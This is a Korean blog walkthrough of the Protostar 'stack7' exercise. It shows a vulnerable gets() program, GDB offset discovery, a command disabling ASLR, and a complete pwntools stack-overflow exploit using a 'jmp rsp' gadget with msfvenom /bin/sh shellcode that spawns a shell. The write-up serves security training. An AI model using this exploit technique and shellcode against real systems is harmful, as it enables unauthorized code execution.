Security_RNRF

STACK SEVEN 본문

Reversing/Protostar

STACK SEVEN

RNRF 2022. 7. 14. 22:46

Stack6 introduces return to .text to gain code execution.

The metasploit tool “msfelfscan” can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.

This level is at /opt/protostar/bin/stack7

Link - https://exploit.education/protostar/stack-seven/#source-code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

이번 실습은 두 가지 방법으로 문제를 해결한다. 그렇기 때문에 두 가지 방법으로 컴파일을 진행한다.
하나는 전에 썼던 칼리에서 직접 컴파일하는 방법과 다른 하나는 다운로드 받은 "/bin" 에 있는 stack7 파일을 이용한다.

해당 코드에서 조건문인 "if((ret & 0xb0000000) == 0xb0000000)"에서 0xb0000000는 이전 실습과는 달리 "f"가 빠진것을 확인할 수 있다. 즉, 스택으로의 점프도 제거하고 bf를 쓰지 못하게 하는것이다. 이전에 사용했던 시스템 함수를 쓸 수 없게 되었다.

그렇다면 그러한 경우에는 어떻게 해야하는가?

먼저 첫번째 방법으로 해결하는 것을 실습해본다.

1. 파일 생성
root@kali:~/Desktop/protostar# gedit stack7.c

2. 컴파일
root@kali:~/Desktop/protostar# gcc -z execstack -w -no-pie -o stack7 stack7.c/usr/bin/ld: /tmp/ccxrMfYS.o: in function `getpath':
stack7.c:(.text+0x35): warning: the `gets' function is dangerous and should not be used.

3. 파일 실행 및 동작분석
root@kali:~/Desktop/protostar# ./stack7
input path please: asjdklajsdkljalskdjasdjalsdjk
got path asjdklajsdkljalskdjasdjalsdjk

값을 입력하면 그대로 출력해주는 것을 확인할 수 있다.

다음으로는 파이썬 파일을 하나 만들어서 익스플로잇 프로그램을 제작한다.
코드는 이전 실습에서 썼던 코드를 들고 온다.

root@kali:~/Desktop/protostar# gedit stack7.py

from pwn import *

system	= p32(0xf7e0d980)
dummy	= p32(0xFFFFFFFF)
bin_sh	= p32(0xf7f4daaa)
offset = 80
payload = 'A'*offset + system + dummy + bin_sh

p = process(['stack6'])
p.sendline(payload)
p.interactive()

이전 코드에서 system, dummy, bin_sh 모두 똑같이 필요하기 때문에 먼저 GDB를 이용해 구해준다. (방법은 이전과 똑같다.)

root@kali:~/Desktop/protostar# gdb ./stack7
gdb-peda$ b *main
Breakpoint 1 at 0x4011f7
gdb-peda$ run
Starting program: /root/Desktop/protostar/stack7

[----------------------------------registers-----------------------------------]
RAX: 0x4011f7 (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x7ffff7fa8718 --> 0x7ffff7fa9d80 --> 0x0 
RDX: 0x7fffffffe208 --> 0x7fffffffe504 ("SHELL=/bin/bash")
RSI: 0x7fffffffe1f8 --> 0x7fffffffe4e5 ("/root/Desktop/protostar/stack7")
RDI: 0x1 
RBP: 0x401220 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffe118 --> 0x7ffff7e1109b (<__libc_start_main+235>:	mov    edi,eax)
RIP: 0x4011f7 (<main>:	push   rbp)
R8 : 0x7ffff7fa9d80 --> 0x0 
R9 : 0x7ffff7fa9d80 --> 0x0 
R10: 0x1 
R11: 0x0 
R12: 0x401080 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011f0 <getpath+142>:	call   0x401070 <strdup@plt>
   0x4011f5 <getpath+147>:	leave  
   0x4011f6 <getpath+148>:	ret    
=> 0x4011f7 <main>:	push   rbp
   0x4011f8 <main+1>:	mov    rbp,rsp
   0x4011fb <main+4>:	sub    rsp,0x10
   0x4011ff <main+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x401202 <main+11>:	mov    QWORD PTR [rbp-0x10],rsi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe118 --> 0x7ffff7e1109b (<__libc_start_main+235>:	mov    edi,eax)
0008| 0x7fffffffe120 --> 0x0 
0016| 0x7fffffffe128 --> 0x7fffffffe1f8 --> 0x7fffffffe4e5 ("/root/Desktop/protostar/stack7")
0024| 0x7fffffffe130 --> 0x100040000 
0032| 0x7fffffffe138 --> 0x4011f7 (<main>:	push   rbp)
0040| 0x7fffffffe140 --> 0x0 
0048| 0x7fffffffe148 --> 0xb55057308379bb06 
0056| 0x7fffffffe150 --> 0x401080 (<_start>:	xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004011f7 in main ()

gdb-peda$ print system

$1 = {int (const char *)} 0x7ffff7e31bf0 <__libc_system>

64비트 환경이기 때문에 훨씬 커진 주소를 확인할 수 있다.

gdb-peda$ find '/bin/sh'

Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7f6e519 --> 0x68732f6e69622f ('/bin/sh')

마지막으로 offset의 위치도 이전과 그대로인지 확인해본다.
gdb-peda$ disas main

Dump of assembler code for function main:
=> 0x00000000004011f7 <+0>:	push   rbp
   0x00000000004011f8 <+1>:	mov    rbp,rsp
   0x00000000004011fb <+4>:	sub    rsp,0x10
   0x00000000004011ff <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000401202 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000401206 <+15>:	mov    eax,0x0
   0x000000000040120b <+20>:	call   0x401162 <getpath>
   0x0000000000401210 <+25>:	mov    eax,0x0
   0x0000000000401215 <+30>:	leave  
   0x0000000000401216 <+31>:	ret    
End of assembler dump.

gdb-peda$ b *0x0000000000401216
Breakpoint 2 at 0x401216
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ conti
Continuing.
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAAKAAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x405a80 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAAKAAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0 
RCX: 0x405a80 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAAKAAJAAfAA5AAKAAgAA6AAL")
RDX: 0x65 ('e')
RSI: 0x7fffffffe0a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAAKAAJAAfAA5AAKAAgAA6AAL")
RDI: 0x405a80 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAAKAAJAAfAA5AAKAAgAA6AAL")
RBP: 0x3541416641414a41 ('AJAAfAA5')
RSP: 0x7fffffffe0f8 ("AAKAAgAA6AAL")
RIP: 0x4011f6 (<getpath+148>:	ret)
R8 : 0x3 
R9 : 0x7ffff7f67e80 --> 0x0 
R10: 0x405010 --> 0x0 
R11: 0x70 ('p')
R12: 0x401080 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1f0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011ed <getpath+139>:	mov    rdi,rax
   0x4011f0 <getpath+142>:	call   0x401070 <strdup@plt>
   0x4011f5 <getpath+147>:	leave  
=> 0x4011f6 <getpath+148>:	ret    
   0x4011f7 <main>:	push   rbp
   0x4011f8 <main+1>:	mov    rbp,rsp
   0x4011fb <main+4>:	sub    rsp,0x10
   0x4011ff <main+8>:	mov    DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0f8 ("AAKAAgAA6AAL")
0008| 0x7fffffffe100 --> 0x7f004c414136 
0016| 0x7fffffffe108 --> 0x100000000 
0024| 0x7fffffffe110 --> 0x401220 (<__libc_csu_init>:	push   r15)
0032| 0x7fffffffe118 --> 0x7ffff7e1109b (<__libc_start_main+235>:	mov    edi,eax)
0040| 0x7fffffffe120 --> 0x0 
0048| 0x7fffffffe128 --> 0x7fffffffe1f8 --> 0x7fffffffe4e5 ("/root/Desktop/protostar/stack7")
0056| 0x7fffffffe130 --> 0x100040000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011f6 in getpath ()

ret에서 멈춘것을 확인할 수 있으며, 리턴을 할 주소는 "0000| 0x7fffffffe0f8 ("AAKAAgAA6AAL")" 이다.

gdb-peda$ pattern offset AAKAAgAA6AAL
AAKAAgAA6AAL found at offset: 88

offset은 88이라는 것을 확인할 수 있다.

일차적으로 완성된 코드는

from pwn import *

system	= p64(0x7ffff7e31bf0)
dummy	= p64(0xFFFFFFFFFFFFFFFF)
bin_sh	= p64(0xf7f4daaa)
offset = 88
payload = 'A'*offset + system + dummy + bin_sh

p = process(['stack7'])
p.sendline(payload)
p.interactive()

하지만 실행을 해보면, "0xb0000000"에 걸리게 될 것이다. 실행을 통해 실패도 확인해본다.

root@kali:~/Desktop/protostar# python ./stack7.py
[!] Could not find executable 'stack7' in $PATH, using './stack7' instead
[+] Starting local process './stack7': pid 18263
[*] Switching to interactive mode
[*] Process './stack7' stopped with exit code 1 (pid 18263)
input path please: bzzzt (0xf7e31bf0)
[*] Got EOF while reading in interactive
$ (Enter)
[*] Got EOF while sending in interactive

해당 실패 결과에서 "bzzzt"라는 문자열을 확인할 수 있다. 즉, if 조건문에 걸린것을 알 수 있다. 즉, 이 방법만으로는 문제를 해결할 수 없다는 것이다.

다시 GDB를 통해서 STACK-7을 실행시켜준다. 브레이크 포인트도 main에 걸어준다. 그리고 실행해준다.
root@kali:~/Desktop/protostar# gdb ./stack7
gdb-peda$ b *main
Breakpoint 1 at 0x4011f7
gdb-peda$ run
Starting program: /root/Desktop/protostar/stack7
......

해결 방법으로 "jmpcall rsp"이다.
gdb-peda$ jmpcall rsp
0x402063 : jmp rsp
0x403063 : jmp rsp

그렇다면 "jmpcall rsp"는 무엇인가?
이전까지의 방식은 ret이 있고, ret 위에 있는 buffer에 쓰레기 값을 채우고, ret 밑에 있는 stack에 shellcode를 넣고 ret 기반으로 shellcode가 있는 주소로 갔었다.


여기서도 shellcode를 stack에 직접 넣을 것이다. shellcode의 위치도 stack에 위치기 때문에 주소가 굉장히 높다. 그래서 "0xb0000000"에 걸리게 되는것이다. 그렇다면 stack에서 shellcode를 가리킬 수 없는데 무슨 소용이냐고 질문할 수도 있다.
이번에는 ret에서 shellcode 주소를 직접 가리키지 않을 것이다. 즉, 직접 가리키지 않는다는 것은 stack의 주소가 필요 없다는 것이다.

그렇다면 ret에서 어떤 주소를 가리킬 것인가?
위에서 검색했던 "jmp rsp"의 주소를 넣을 것이다. 위에서 질문했듯이, 도대체 "jmp rsp"가 뭐길래 해결이 되는가?

함수의 호출 구조를 배웠다면 호출에 대한 구조를 알 것이다.
변수를 쓸 때는 올라가고, 함수가 끝날때는 ret을 반납하면서 프로그램이 종료되는 구조이다. 여기서 반납을 하게 되면 esp(= rsp)가 제일 스택의 상단을 가리키게 된다. 그렇게 스택이 실행되면서 한 단계씩 낮아진다. 그러면 ret을 사용했을 경우 pop ret를 해서 사라진다. 그렇다면 esp(= rsp)는 당연히 한 단계 낮아진다. 바로 그 한 단계 낮아진 곳에 shellcode가 있는것이다.
여기서 "jmp rsp"를 쓰게 되면 rsp가 shellcode를 가리키고 있기 때문에, rsp를 실행하면 당연히 shellcode가 있는곳에 도착할 것이다.

다시 실습을 진행하기 전에 이전 실습에서 했던 ASLR 옵션은 꺼줘야 한다.
root@kali:~/Desktop/protostar# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

그리고 shellcode을 생성해준다.
root@kali:~/Desktop/protostar# msfvenom -p linux/x64/exec CMD='/bin/sh' -f python

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 47 bytes
Final size of python file: 238 bytes
buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"

그리고 위에서 검색했던 "jmpcall rsp"의 주소 중 하나를 복사해서 추가해준다.
여기서 jmpcall은 jmp와 call 둘 다 똑같은 역할을 하기 때문에 둘 중 하나를 검색해달라는 의미이다. (JMP도 실행, CALL도 실행)

완성된 코드는

from pwn import *

buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x56\x57\x48\x89\xe6\x0f\x05"

system	= p64(0x7ffff7e31bf0)
dummy	= p64(0xFFFFFFFFFFFFFFFF)
bin_sh	= p64(0xf7f4daaa)
jmp_rsp = p64(0x402063)
offset = 88

payload = 'A'*offset + jmp_rsp + buf

p = process(['stack7'])
p.sendline(payload)
p.interactive()

익스플로잇이 잘 되는지 테스트 해본다.

root@kali:~/Desktop/protostar# python ./stack7.py

[!] Could not find executable 'stack7' in $PATH, using './stack7' instead
[+] Starting local process './stack7': pid 18643
[*] Switching to interactive mode
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc @
$ ls
core             stack0    stack3          stack5
peda-session-stack2.txt  stack0.c  stack3.c          stack5.c
peda-session-stack3.txt  stack1    stack3_exploit.py  stack5.py
peda-session-stack4.txt  stack1.c  stack4          stack7
peda-session-stack5.txt  stack2    stack4.c          stack7.c
peda-session-stack7.txt  stack2.c  stack4.py          stack7.py
$

잘 실행되는 것을 확인할 수 있다.

'Reversing > Protostar' 카테고리의 다른 글

STACK SEVEN - another  (0) 2022.09.06
STACK SIX  (0) 2022.07.12
STACK FIVE - another  (0) 2022.07.11
STACK FIVE  (0) 2022.07.10
STACK FOUR  (0) 2022.07.07
Comments